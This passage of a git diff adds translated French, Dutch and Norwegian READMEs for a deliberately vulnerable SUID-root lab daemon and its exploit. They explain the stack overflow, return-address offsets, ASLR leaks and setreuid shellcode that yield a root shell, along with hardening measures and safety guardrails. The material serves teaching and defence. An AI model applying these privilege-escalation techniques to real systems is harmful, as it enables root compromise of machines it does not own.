refuse de chercher des instructions sur une page data-only, donc un saut vers `buf` est un SIGSEGV. | ROP — exécuter du code qui existe déjà (`ret2libc`). | +| Les trois ensemble | Un binaire difficile à déborder, randomisé, avec une pile non exécutable. Voilà à quoi ressemble une build durcie normale. | Le bit setuid. **Un binaire SUID durci reste un binaire SUID.** S'il survit un bug mémoire atteignable, c'est toujours « bug dans un processus root ». | + +La preuve console, c'est `make test-hardened`, qui échange la build durcie et +montre les techniques mourir à la canary, pendant que `foosd_hardened.log` +capture `*** stack smashing detected ***`. + +Deux contre-mesures de niveau conception, qu'aucun flag de compilateur ne +fournit, et que le lab principal (`food`) utilise aussi : + +- **Moindre privilège.** Un démon pour un port non privilégié (2343 > 1024) + n'a aucun besoin légitime de root. Un `foosd` correct lierait puis ferait + `setgroups`/`setgid`/`setuid` vers un compte non privilégié et *confirmerait + que ça a tenu* (la version correcte est dans la source sous le nom de + `drop_privs()`, jamais appelée — le non-appel est le bug n° 3 du lab). +- **Limitez le read.** `n = read(fd, buf, sizeof(buf) - 1)`. Une ligne correcte + surpasse tous les flags de compilateur du tableau. + +--- + +## 9. Le protocole filaire (pour que vous puissiez lire le démon avec netcat) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — ne pouvait pas être affiché comme `euid=`/`ruid=`, parce + que la harnesse de test prouve un shell en grepant le `uid=` littéral, et le + banner ne doit pas le contenir (une sonde qui partage la signature de la + réponse est un piège classique de faux positif ; voir le commentaire dans + `foosd.c`). La harnesse exige en outre la forme stricte de sortie `id` — + `uid=NNN(...)` — pour que rien de ce que le démon ou l'exploit affiche ne + puisse satisfaire le contrôle par accident : le propre « target euid=… ruid=… » + de `foosc` contient `uid=` comme sous-chaîne, ce qui a un jour fait + rapporter à un test durci un shell qui n'avait jamais tourné. +* `stack=`, `libc=`, `BUF=` — les fuites ASLR : elles permettent à la + shellcode et à ret2libc de calculer des adresses exactes. + +--- + +## 10. Exercices + +1. **Considérez la descente non-root.** Lancez `make test` *avant* `make + setuid`, puis encore après. Expliquez le passage à `ROOT=SEEN` avec + l'histoire ruid/euid de la §5.2. +2. **Lisez le crash.** Lancez `./foosc -t demo -n` puis lisez `foosd.log`. + La ligne `RIP=0x4141414141414141` est le bourrage de l'attaquant — la + preuve que c'est le débordement, pas le hasard, qui contrôle l'exécution. +3. **Ajoutez la canary.** `make hardened` et modifiez vous-même la boucle + `test-hardened` ; la ligne de log `*** stack smashing detected ***` est la + défense qui fonctionne. +4. **Désactivez la fuite.** Commentez la ligne `BUF=` dans `foosd.c`, recompilez + et voyez `-t shellcode` passer de déterministe à jeu de devinettes. Cette + seule ligne est la raison pour laquelle les vrais bypass d'ASLR sont tout un + domaine. +5. **L'expérience `-p`.** Dans une copie de `win()`, changez `execl("/bin/sh", + "sh", NULL)` en `execl("/bin/sh", "sh", "-p", NULL)` et observez root. `-p` + est la sortie de secours documentée du gardien du shell — et la raison pour + laquelle le conseil « spawn juste un shell » des vieux write-ups est + incomplet. +6. **Pourquoi pas `setuid(0)` ?** Réécrivez la shellcode pour appeler + `setuid(0)` au lieu de `setreuid(0,0)` (syscall 105). Le shell atterrit + quand même — et retombe quand même à `uid=1000`. C'est l'expérience d'une + seule ligne la plus instructive de tout le dépôt. + +--- + +## 11. Sécurité et nettoyage + +- Loopback uniquement, par défaut et par conception ; `-L` lie plus loin, et + seule une VM bonne à jeter devrait même l'envisager. +- C'est un lab de shell root. Ne le faites pas tourner sur une machine qui + compte, et ne pointez pas `foosc -h` vers quelque chose que vous ne possédez + pas. +- Rituel de nettoyage : `make stop` puis `make unsetuid`, et si vous voulez + l'arborescence impeccable à nouveau : `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/README.NL.md b/suid/README.NL.md new file mode 100644 index 0000000..6fe1fd7 --- /dev/null +++ b/suid/README.NL.md @@ -0,0 +1,398 @@ +# SUID-root-RCE-lab — `foosd` (daemon) + `foosc` (exploit) + +Een begeleider van het hoofdlaboratorium (`food` / `fooc`, een gewone daemon +waar een bufferoverloop je een *gebruiker*-shell geeft). Dit voegt de +gevaarlijkste wijziging van één teken in Unix toe: **de setuid-bit**. + +> `chmod u+s` verandert "de aanvaller kan code draaien op deze host" in "de +> aanvaller kan code draaien als **root** op deze host". + +Die zin is het hele lab. Alles hieronder is het mechanisme eronder, +opgeschreven, zodat je wanneer je je eigen software schrijft precies weet welke +twee of drie bestandssysteem-attributen en compilerflags bepalen of een +geheugenveiligheidsbug in jouw code een ergernis of een root-shell is. + +De uiteindelijke demo, wanneer `foosd` setuid-root is, is een **root-shell** +die over het netwerk wordt geopend door 32 bytes handgeschreven shellcode uit +te voeren. + +--- + +## 1. Wat de setuid-bit daadwerkelijk doet + +Elk proces op Linux draagt drie user-ID's, en de setuid-bit rommelt aan de +verhouding ertussen: + +| ID | Naam | Betekenis | +|----|------|---------| +| `ruid` | reële user-ID | de account die het proces *startte* | +| `euid` | effectieve user-ID | wat de kernel controleert wanneer hij toegang handhaaft | +| (saved) | opgeslagen set-user-ID | een "spoor" waarnaar een bevoorrecht proces later kan terugkeren | + +Een normaal programma heeft `ruid == euid`. Wanneer je een binair bestand +uitvoert met de setuid-bit gezet, eigendom van root: + +```text +ruid = jij (bijv. 1000, "hanez") +euid = de eigenaar (bijv. 0, "root") +``` + +Het proces heeft dus **roots autoriteit**, ook al is de gebruiker die het +startte volkomen gewoon. Elke controle die de kernel uitvoert — kan dit proces +`/etc/shadow` lezen? een bestand schrijven? een ander proces doden? — wordt +beantwoord met `euid`, dus "ja, het is root". + +`foosd` is een netwerkdaemon. Hij bindt een poort en `fork()`t daarna een kind +per verbinding. Een fork *erft* de euid, dus elk kind dat een verbinding +afhandelt, is ook root. De overloop in `foosd`s `vulnerable_handler()` is +daarom een overloop *binnenin een root-proces*. + +**Diagnosticeer het zelf wanneer de daemon draait:** + +```console +$ ./foosd ... # zie de logregel die hij bij de start print +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +en vanuit het exploit: + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. Het lab in één oogopslag + +| Bestand | Rol | +|------|------| +| `foosd.c` | De bewust kwetsbare daemon (eigenaar van de bugs). Draai als *setuid-root*-binary voor de root-shell-demo. | +| `foosc.c` | Het exploit. Gebruikt standaard de 32-byte `setreuid + execve`-shellcodetechniek. | +| `shellcode.S` | De referentie-shellcode; `make verify` diff't het tegen de byte-array in `foosc.c`. | +| `tests/pty_suid_test.c` | Test-harness. Drijft `foosc` door een pseudo-terminal en bewijst zowel "er draaide een shell" *als* "die was root" (`uid=0(`). | +| `Makefile` | Build, `setuid`/`unsetuid`-helpers, testmatrix. | +| `README.md` | Dit bestand. | + +> **Waarom een pty?** De laatste actie van het exploit is je terminal +> doorschakelen naar de shell die op het slachtoffer draait. Een pipe of +> here-doc komt aan de verkeerde kant van die doorschakeling terecht; een echte +> terminal is vereist. + +--- + +## 3. Snelle start + +```console +$ make # bouw alles, als je normale gebruiker +$ make setuid # één keer, vraagt om sudo: chown root + chmod u+s +$ make run # start foosd op 127.0.0.1:2343 +$ make test-suid # volledige matrix; shellcode + ret2win-root moeten root geven +``` + +Interactieve rooktest: + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- je bent root, op het slachtoffer +# exit +``` + +Wanneer je klaar bent: + +```console +$ make stop +$ make unsetuid # hygiëne: laat nooit een root-SUID-binary achter +``` + +--- + +## 4. *Wanneer moet ik de SUID-bit zetten?* — het antwoord dat je vroeg + +Precies **één keer, na het bouwen, vóór je de daemon start voor de +root-shell-demo's** — en alleen op een machine die van jou is, geschikt om weg +te gooien en losgekoppeld van het netwerk: + +```console +$ make # compileer foosd, foosc, tests +$ make setuid # <-- HET MOMENT. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # start NÁ het zetten van de bit +``` + +Twee regels die belangrijker zijn dan het precieze tijdstip: + +1. **Zet hem alleen als de binary klaar is.** Als je herbouwt (`make` / + `make clean`) nadat je de bit hebt gezet, krijg je een "Permission denied" + bij het schrijven van root-bezeten outputbestanden — en als je de herbouw + forceert, herschept de toolchain het bestand **zonder** de `s` en maak je de + opzet stilletjes ongedaan. De canonieke volgorde bij elke herbouw is daarom + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Haal hem weg als je klaar bent.** `make unsetuid`. Een levende, + root-bezeten setuid-binary met een exploiteerbare bug in je boom is geen + leermiddel, het is een root-gat met een compilerfout tussen zichzelf en + niets. Op een gedeelde of productiemachine: **doe niets van dit alles.** De + daemon weigert bovendien standaard iets anders dan loopback te binden (zie + §7). + +Als je het exploit *zonder* ooit de bit te zetten draait, gaat er niets +kapot — de payload landt nog steeds, en je krijgt nog steeds een shell. Het +verschil zit in één getal, en het exploit zegt het hardop: + +```console +foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +Het "werkte, maar niet root"-resultaat is zelf onderdeel van het lab. Onthoud +dat voor de volgende sectie. + +--- + +## 5. Het mechanisme — en de twist die SUID interessant maakt + +### 5.1 De overloop (identiek aan `food`) + +De handler van `foosd` geeft een `read()` 512 bytes vertrouwen terwijl hij er +een 64-byte stack-buffer aan reikt: + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over de rand */ +``` + +Op x86-64 groeit de stack naar beneden. Het exploit schrijft 64 bytes rommel +om `buf` te vullen, 8 om de opgeslagen framepointer te vullen en nog 8 om de +**opgeslagen retouradres** te vervangen. Wanneer `vulnerable_handler` de `ret` +uitvoert, poppt de CPU de waarde van de aanvaller in `RIP` — +aanvaller-gecontroleerde code-uitvoering. Het exploit vindt de exacte afstand +(88 bytes voor deze build) door `objdump`-output te parsen in plaats van die te +hardcoden, zodat het getal herbouwen overleeft. + +### 5.2 De twist: de shell weigert root te zijn + +Hier is waar "SUID-bug → spawn /bin/sh → root" fout zou gaan, en waarom dit lab +precies de vorm heeft die het heeft. + +Wanneer een setuid-root-programma draait, is zijn `ruid` nog steeds de +startende gebruiker en is zijn `euid` root. Als het programma — of de aanvaller +— nu een shell start: + +* `execve("/bin/sh")` verandert de uids **niet**; het nieuwe proces erft + `(ruid=1000, euid=0)`. +* bash (en dash) **controleert die exacte toestand bij de start**. Uit de + bash-handleiding: *"If the shell is started with the effective user (group) + id not equal to the real user (group) id, and the -p option is not supplied, + … the effective user id is set to the real user id."* + +Dus de shell kijkt naar zichzelf en *laat root vallen* — een verdediging die de +shell-auteurs precies tegen dit aanval bouwden (de historische reden was het +setuid-shell-/setuid-scriptprobleem). Het resultaat is de "werkte, maar niet +root"-gevallen: + +| Techniek | Wat hij uitvoert | Resulterende uid | +|-----------|------------------|---------------| +| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landde, root gereset door bash | +| `ret2libc` | `system("/bin/sh")` → verse `sh -c '/bin/sh'` | **1000** — dezelfde reset, één niveau lager | +| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid opgeruimd vanuit C | +| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid opgeruimd vanuit machinecode | + +Degene die root bereiken, verschillen van degene die dat niet doen in precies +één idee: **ze ruimen de *reële* uid op, niet alleen de effectieve.** + +```c +setuid(0) /* zet euid op 0, maar ruid blijft 1000: + bash ziet nog steeds euid != ruid en reset NOG STEEDS. */ +setreuid(0, 0) /* zet BEIDE: ruid = euid = 0. + bash ziet gelijke uids en houdt root. */ +``` + +Daarom begint de klassieke `/bin/sh`-shellcode die je overal op internet vindt +met een uid-opruimend syscall — en daarom is de shellcode hier 32 bytes in +plaats van 23: de eerste vijf instructies zijn + +```asm +xor edi, edi ; ruid = 0 +xor esi, esi ; euid = 0 +push 0x71 ; 113 = __NR_setreuid +pop rax +syscall +``` + +### 5.3 Dus wat is het exploit, van begin tot eind? + +1. `foosc` leest het banner van `foosd` over de socket. Het krijgt: + - `ids=0/1000` — euid/ruid (de SUID-zelfdiagnose) + - `stack=…` en `libc=…` — pointers (de ASLR-leaks) + - `BUF=…` — het exacte adres van de buffer die het op het punt staat te + laten overlopen +2. Uit de doel-binary (via `objdump`) leert het `rip_off` en de adressen van + `win()` / `win_root()`. +3. Uit *zijn eigen* libc (via `/proc/self/maps` + `dlsym` + een geheugenscan) + meet het de offsets van `system`, `read`, `/bin/sh` en een + `pop rdi; ret`-gadget — niets is hardcoded. +4. Het stelt de payload samen. Voor `-t shellcode` is dat: + `[32-byte-setreuid+execve-code][padding tot RIP][ret-fix][adres van buf]`. +5. `foosd`s `read()` loopt over; de `ret` landt op de shellcode; de kernel + voert `setreuid(0,0)` uit (geen probleem: euid 0 is bevoorrecht) en daarna + `execve` van `/bin/sh`. bash start met `ruid == euid == 0` en blijft root. +6. `foosc` schakelt je terminal door naar die root-shell, tot je `exit` typt. + +Eén gemakdetail dat mensen veel tijd kost als het wordt gemist: het exploit +test elk uid-opruimgedrag **zonder** eerst de setuid-bit nodig te hebben. Draai +`make test` vóór `make setuid`, en je ziet elke techniek een shell landen terwijl +`ROOT=MISSING` staat; draai `make test-suid` ná `make setuid`, en `ROOT=SEEN` +verschijnt bij de twee technieken die de reële uid opruimen. Die A/B is de hele +les, in tien seconden uitgevoerd. + +--- + +## 6. De oude one-liners — en waarom de meeste dood zijn + +Heb je over SUID gelezen, dan heb je over `PATH`-kapingen, `LD_PRELOAD` en +setuid-shells gelezen. Alle drie zijn klassiek, en alle drie falen op een +modern systeem tegen *dit programma*. Het is de moeite waard om precies te +weten waarom, want de redenen zijn de verdedigingen die je gratis krijgt: + +| Aanvalsklasse | Oude bewering | Waarom hij faalt op een moderne machine | +|--------------|-----------|------------------------------| +| `LD_PRELOAD` van een kwaadaardige bibliotheek | "Het setuid-programma laadt mijn `.so` en draait mijn code als root." | De kernel markeert een setuid-binary als **AT_SECURE**; glibc negeert daarna `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` en vrienden. De omgeving wordt behandeld als *onbetrouwbare input*. `LD_PRELOAD` tegen een setuid-binary is een no-op. | +| `PATH`-kaping (`system("ls")` met een vergiftigde PATH) | "Wijs PATH naar een map met mijn neppe `ls`; het root-programma draait hem." | Een ander gezicht van hetzelfde verdedigingen: een AT_SECURE-proces krijgt een **gesaneerde `PATH`** (een veilige standaard, grofweg `/usr/local/bin:/usr/bin:/bin`) voor `system()`/`execvp`, dus de vergiftigde map wordt nooit geraadpleegd. | +| Setuid-`system()`-commando-injectie | "Het geïnjecteerde commando draait met euid 0." | `system()` draait het commando in een verse `/bin/sh`, en die shell — §5.2 — reset `euid = ruid` bij de start. Het geïnjecteerde commando wordt uitgevoerd met de *reële* uid. (Het blijft een bug; het escaleert alleen niet meer via `/bin/sh`.) | +| Setuid-root-shell op de schijf (`cp /bin/sh /tmp; chmod u+s`) | "Draai hem, krijg root." | Precies wat hierboven verdedigd wordt, en dat is waarom moderne distro's geen enkele setuid-root-shell leveren. Zelfs als je er één kunt maken, weigert bash euid 0 te houden tenzij hij met `-p` wordt gestart. | + +Wat blijft leven, en dat is dit lab: **het programma is *al* root wanneer het +draait.** Je hebt de omgeving of `system()` niet nodig; je hebt nodig dat het +programma *jouw* code uitvoert (via een geheugenbeschadigingsbug) terwijl het +bevoorrecht is, en dat jouw code zorgvuldig genoeg is om zelf de uid-mismatch +recht te zetten — `setreuid(0,0)` — voordat het je een shell overhandigt. +Geheugenbeschadiging + SUID is de combinatie die nog steeds in `uid=0` eindigt, +en dat is precies waarom geheugenveilige talen, canaries en no-execute-stacks +geen modebeslissing zijn. + +--- + +## 7. De veiligheidsheurlingen die in de daemon zijn ingebouwd + +`foosd` is bewust het *slechtste* stuk software in dit repository, dus het +draagt ook de meeste leuningen: + +1. **Alleen loopback, afgedwongen.** `foosd` weigert elke bind-adres buiten + loopback, tenzij je `-L` geeft. Een setuid-root-listener op een echte + interface is een externe root-dienst; de weigering is de standaard, zodat de + gevaarlijke toestand bewust moet worden ingetypt. +2. **Zelfdiagnose.** Bij de start logt hij `ruid`/`euid` en of hij als root + draait, zodat de console de toestand toont waarvan het exploit afhangt. +3. **De log bereikt de client nooit.** De daemon reserveert een privé + log-descriptor vóór sockets fd 1 vervangen, zodat crash-reporter-output en + interne paden niet door de aanvaller over de draad teruggelezen kunnen + worden. +4. **Crash-reporter.** Een SIGSEGV-handler logt `RIP`/`RSP` — de waarde die de + aanvaller in het retouradres schreef — zodat een succesvolle overname + zichtbaar is in `foosd.log` in plaats van een stille dood. +5. **`make unsetuid`.** Het verwijderen van de bit is gescript, omdat hem laten + staan de faaltoestand is die mensen daadwerkelijk hebben. + +--- + +## 8. Tegenmaatregelen — wat elke stopt en wat hij *niet* stopt + +Toegepast op `foosd` via `make hardened`, één voor één of samen: + +| Tegenmaatregel | Wat hij stopt | Wat hij *niet* stopt | +|------------|---------------|-------------------------| +| `-fstack-protector-strong` (canary) | De overloop: `ret` detecteert een beschadigde canary en aborted vóór het adres van de aanvaller wordt gebruikt. Stopt hier **alle vier** de technieken — ze delen het ene kwetsbare `read()`. | Niets aan *het ontwerp*: de binary is nog steeds setuid-root; een andere bug (format-string-`%n`, heap-overflow, use-after-free) heeft geen canary om af te laten gaan. | +| `-fPIE -pie` (ASLR voor de binary) | Gebruik van voorspelbare `win()`/`win_root()`-adressen (de ret2win-technieken). | De shellcode-techniek, als er nog een stack-adres lekt (`BUF=`-regel). | +| `-z noexecstack` (NX / W^X) | De shellcode: de CPU weigert instructies op te halen van een data-only-pagina, dus een sprong naar `buf` is een SIGSEGV. | ROP — code draaien die al bestaat (`ret2libc`). | +| Alle drie samen | Een moeilijk-te-laten-overlopen, gerandomiseerde binary met een niet-uitvoerbare stack. Zo ziet een normale geharde build eruit. | De setuid-bit. **Een geharde SUID-binary is nog steeds een SUID-binary.** Overleeft er een bereikbare geheugenveiligheidsbug, dan is het nog steeds "bug in een root-proces". | + +Het consolebewijs is `make test-hardened`, dat de geharde build inwisselt en +laat zien hoe alle technieken bij de canary sterven, terwijl +`foosd_hardened.log` `*** stack smashing detected ***` opvangt. + +Twee tegenmaatregelen op ontwerpniveau die geen enkele compilerflag levert, en +die het hoofdlaboratorium (`food`) ook gebruikt: + +- **Minste privilege.** Een daemon voor een onbevoordeelde poort (2343 > 1024) + heeft geen legitieme behoefte aan root. Een correcte `foosd` zou binden en + daarna `setgroups`/`setgid`/`setuid` naar een onbevoorrechte account en + *bevestigen dat het hield* (de correcte versie staat in de bron als + `drop_privs()`, nooit aangeroepen — het niet-aanroepen is bug nr. 3 van het + lab). +- **Beperk de read.** `n = read(fd, buf, sizeof(buf) - 1)`. Eén correcte regel + overtreft elke compilerflag in de tabel. + +--- + +## 9. Het wire-protocol (zodat je de daemon met netcat kunt lezen) + +```text +FOOSD 1.0 - deliberately vulnerable SUID service +Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512. +FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f... +BUF=0x7ffd... +``` + +* `ids=euid/ruid` — kon niet als `euid=`/`ruid=` geprint worden, omdat de + test-harness een shell bewijst door op het letterlijke `uid=` te greppen, en + het banner mag dat niet bevatten (een sonde die de handtekening met het + antwoord deelt, is een klassieke fout-positief- val; zie de commentaar in + `foosd.c`). De harness vereist bovendien de strikte `id`-outputvorm — + `uid=NNN(...)` — zodat niets wat de daemon of het exploit print het aan + toeval kan laten voldoen: `foosc`s eigen "target euid=… ruid=…" bevat `uid=` + als deelstring, wat ooit een geharde test een shell liet melden die nooit had + gedraaid. +* `stack=`, `libc=`, `BUF=` — de ASLR-leaks: laten shellcode en ret2libc exacte + adressen berekenen. + +--- + +## 10. Oefeningen + +1. **Beschouw de niet-root-degradatie.** Draai `make test` *vóór* `make + setuid`, en daarna nog eens achteraf. Verklaar de `ROOT=SEEN`-verandering + met het ruid/euid-verhaal in §5.2. +2. **Lees de crash.** Draai `./foosc -t demo -n` en lees daarna `foosd.log`. + De regel `RIP=0x4141414141414141` is de padding van de aanvaller — het bewijs + dat de overloop, niet toeval, de uitvoering bestuurt. +3. **Voeg de canary toe.** `make hardened` en verander zelf de + `test-hardened`-lus; de logregel `*** stack smashing detected ***` is de + verdediging die werkt. +4. **Schakel het lek uit.** Commentaar de `BUF=`-regel in `foosd.c` uit, bouw + opnieuw, en zie `-t shellcode` van deterministisch naar een raadspel + veranderen. Die ene regel is de reden dat echte ASLR-bypasses een heel veld + zijn. +5. **Het `-p`-experiment.** Verander in een kopie van `win()` + `execl("/bin/sh", "sh", NULL)` naar `execl("/bin/sh", "sh", "-p", NULL)` en + observeer root. `-p` is de gedocumenteerde nooduitgang uit de wacht van de + shell — en de reden dat het advies "spawn gewoon een shell" uit oude + write-ups onvolledig is. +6. **Waarom niet `setuid(0)`?** Herschrijf de shellcode om `setuid(0)` te + roepen in plaats van `setreuid(0,0)` (syscall 105). De shell landt nog + steeds — en zakt nog steeds naar `uid=1000`. Dat is het meest leerzame + één-regel-experiment van het hele repository. + +--- + +## 11. Veiligheid en opruimen + +- Alleen loopback, als standaard en volgens ontwerp; `-L` bindt verder, en + alleen een weg-te-gooien-VM zou het überhaupt moeten overwegen. +- Dit is een root-shell-lab. Draai het niet op een machine die ertoe doet, en + richt `foosc -h` niet op iets dat je niet bezit. +- Opruimritueel: `make stop` en daarna `make unsetuid`, en als je de boom weer + vlekkeloos wilt: `sudo make clean`. + +```console +$ make stop +$ make unsetuid +``` \ No newline at end of file diff --git a/suid/README.NO.md b/suid/README.NO.md new file mode 100644 index 0000000..49021dc --- /dev/null +++ b/suid/README.NO.md @@ -0,0 +1,387 @@ +# SUID-root-RCE-laboratorium — `foosd` (daemon) + `foosc` (exploit) + +En ledsager til hovedlaboratoriet (`food` / `fooc`, en vanlig daemon der et +bufferoverløp gir deg en *bruker*-shell). Dette legger til den farligste +én-tegns-endringen i Unix: **setuid-biten**. + +> `chmod u+s` forvandler «angriperen kan kjøre kode på denne verten» til +> «angriperen kan kjøre kode som **root** på denne verten». + +Den setningen er hele laboratoriet. Alt nedenfor er mekanismen under den, skrevet +ned, slik at du når du skriver din egen programvare, vet nøyaktig hvilke to eller +tre filsystem-attributter og kompilator-flag som avgjør om en +minnesikkerhetsfeil i koden din er en irritasjon eller en root-shell. + +Den endelige demoen, når `foosd` er setuid-root, er en **root-shell** som åpnes +over nettverket ved å utføre 32 bytes håndskrevet shellcode. + +--- + +## 1. Hva setuid-biten faktisk gjør + +Hver prosess på Linux bærer tre user-ID-er, og setuid-biten tukler med forholdet +mellom dem: + +| ID | Navn | Betydning | +|----|------|---------| +| `ruid` | reell user-ID | kontoen som *startet* prosessen | +| `euid` | effektiv user-ID | det kjernen sjekker når den håndhever tilgang | +| (saved) | lagret set-user-ID | en «sporplass» en privilegert prosess kan vende tilbake til senere | + +Et vanlig program har `ruid == euid`. Når du kjører en binærfil med +setuid-biten satt, eid av root: + +```text +ruid = deg (f.eks. 1000, «hanez») +euid = eieren (f.eks. 0, «root») +``` + +Prosessen har derfor **roots autoritet**, selv om brukeren som startet den er +helt vanlig. Hvert sjekkpunkt kjernen utfører — kan denne prosessen lese +`/etc/shadow`? skrive en fil? drepe en annen prosess? — besvares med `euid`, +altså «ja, den er root». + +`foosd` er en nettverksdaemon. Den binder en port og `fork()`er deretter et +barn per tilkobling. En fork *arver* euid-en, så hvert barn som håndterer en +tilkobling er også root. Overløpet i `foosd`s `vulnerable_handler()` er derfor +et overløp *inne i en root-prosess*. + +**Diagnostiser det selv når daemonen kjører:** + +```console +$ ./foosd ... # se logglinjen den skriver ut ved start +[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process +``` + +og fra exploitet: + +```console +$ ./foosc -t leak +foosc: target euid=0 ruid=1000 +``` + +--- + +## 2. Laboratoriet ved første øyekast + +| Fil | Rolle | +|------|------| +| `foosd.c` | Den bevisst sårbare daemonen (eier feilene). Kjør som *setuid-root*-binærfil for root-shell-demoen. | +| `foosc.c` | Exploitet. Bruker som standard den 32-byte `setreuid + execve`-shellcode-teknikken. | +| `shellcode.S` | Referanse-shellcoden; `make verify` diff'er den mot byte-arrayen i `foosc.c`. | +| `tests/pty_suid_test.c` | Test-harness. Driver `foosc` gjennom et pseudo-terminal og beviser både «en shell kjørte» *og* «den var root» (`uid=0(`). | +| `Makefile` | Bygg, `setuid`/`unsetuid`-hjelpere, testmatrise. | +| `README.md` | Denne filen. | + +> **Hvorfor en pty?** Exploitets siste handling er å videresende terminalen din +> til shellen som kjører på offeret. En pipe eller her-doc havner i feil ende av +> den videresendingen; en ekte terminal er påkrevd. + +--- + +## 3. Rask start + +```console +$ make # bygg alt, som din vanlige bruker +$ make setuid # én gang, spør om sudo: chown root + chmod u+s +$ make run # start foosd på 127.0.0.1:2343 +$ make test-suid # full matrise; shellcode + ret2win-root skal gi root +``` + +Interaktiv røykprøve: + +```console +$ ./foosc -t shellcode +... +foosc: target euid=0 ruid=1000 +foosc: shell is on the victim (root if foosd is SUID); relaying +# id +uid=0(root) gid=0(root) groups=0(root) <-- du er root, på offeret +# exit +``` + +Når du er ferdig: + +```console +$ make stop +$ make unsetuid # hygiene: etterlat aldri en root-SUID-binærfil +``` + +--- + +## 4. *Når skal jeg sette SUID-biten?* — svaret du ba om + +Nøyaktig **én gang, etter byggingen, før du starter daemonen for +root-shell-demoene** — og bare på en maskin som er din, egnet til å kastes og +frakoblet nettverket: + +```console +$ make # kompiler foosd, foosc, tester +$ make setuid # <-- ØYEBLIKKET. sudo chown root:root foosd && sudo chmod u+s foosd +$ make run # start ETTER at du har satt biten +``` + +To regler som betyr mer enn det nøyaktige tidspunktet: + +1. **Sett den bare når binærfilen er ferdig.** Hvis du bygger om (`make` / + `make clean`) etter at du har satt biten, treffer du «Permission denied» når + du skriver root-eide utdatafiler — og hvis du tvinger ombyggingen, gjenskaper + verktøykjeden filen **uten** `s`-en og angrer stille og rolig oppsettet. Den + kanoniske rekkefølgen ved enhver ombygging er derfor + + ```console + $ make unsetuid && make && make setuid + ``` + +2. **Fjern den når du er ferdig.** `make unsetuid`. En levende, + root-eid setuid-binærfil med en utnyttbar feil i treet ditt er ikke et + læremiddel, det er et root-hull med en kompileringsfeil mellom seg og + ingenting. På en delt eller produksjonsmaskin: **ikke gjør noe av dette.** + Daemonen nekter dessuten som standard å binde noe annet enn loopback (se §7). + +Hvis du kjører exploitet *uten* noen gang å sette biten, går ingenting i stykker +— payloaden lander fortsatt, og du får fortsatt en shell. Forskjellen er i ett +tall, og exploitet sier det høyt: + +```console +foosc: WARNING: the daemon is NOT running with euid 0. + The payload will still land, but the shell will be + a plain user shell, not root. + Fix: sudo make setuid +``` + +«Virket, men ikke root»-resultatet er selv en del av laboratoriet. Husk det til +neste avsnitt. + +--- + +## 5. Mekanismen — og vrien som gjør SUID interessant + +### 5.1 Overløpet (identisk med `food`) + +`foosd`s handler gir et `read()` 512 bytes tillit, mens den rekker den et +64-byte stack-buffer: + +```c +char buf[64]; +n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over kanten */ +``` + +På x86-64 vokser stacken nedover. Exploitet skriver 64 bytes søppel for å fylle +`buf`, 8 for å fylle den lagrede rammepekeren og 8 til for å erstatte den +**lagrede returadressen**. Når `vulnerable_handler` utfører `ret`, popper CPU-en +angriperens verdi inn i `RIP` — angriperkontrollert kodeutførelse. Exploitet +finner den nøyaktige avstanden (88 bytes for denne builden) ved å parse +`objdump`-utdata i stedet for å hardkode den, så tallet overlever ombygginger. + +### 5.2 Vrien: shellen nekter å være root + +Her er det der å tenke «SUID-feil → spawn /bin/sh → root» ville gått galt, og +hvorfor dette laboratoriet har nøyaktig den formen det har. + +Når et setuid-root-program kjører, er `ruid` fortsatt den startende brukeren, og +`euid` er root. Hvis programmet — eller angriperen — nå starter en shell: + +* `execve("/bin/sh")` endrer **ikke** u-id-ene; den nye prosessen arver + `(ruid=1000, euid=0)`. +* bash (og dash) **sjekker nøyaktig den tilstanden ved start**. Fra + bash-manualen: *«If the shell is started with the effective user (group) id + not equal to the real user (group) id, and the -p option is not supplied, … + the effective user id is set to the real user id.»* + +Så shellen ser på seg selv og *dropper root* — et forsvar +shell-forfatterne bygde nøyaktig mot dette angrepet (den historiske +begrunnelsen var setuid-shell-/setuid-skript-problemet). Resultatet er +«virket, men ikke root»-tilfellene: + +| Teknikk | Hva den utfører | Resulterende uid | +|-----------|------------------|---------------| +| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landet, root nullstilt av bash | +| `ret2libc` | `system("/bin/sh")` → fersk `sh -c '/bin/sh'` | **1000** — samme nullstilling, ett nivå ned | +| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid ryddet fra C | +| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid ryddet fra maskinkode | + +De to som når root, skiller seg fra de to som ikke gjør det, med nøyaktig én idé: +**de rydder den *reelle* uid-en, ikke bare den effektive.** + +```c +setuid(0) /* setter euid til 0, men ruid forblir 1000: + bash ser fortsatt euid != ruid og nullstiller FORTSATT. */ +setreuid(0, 0) /* setter BEGGE: ruid = euid = 0. + bash ser like uid-er og beholder root. */ +``` + +Det er derfor den klassiske `/bin/sh`-shellcoden du finner overalt på nettet, +starter med et uid-ryddende syscall — og grunnen til at shellcoden her er 32 +bytes i 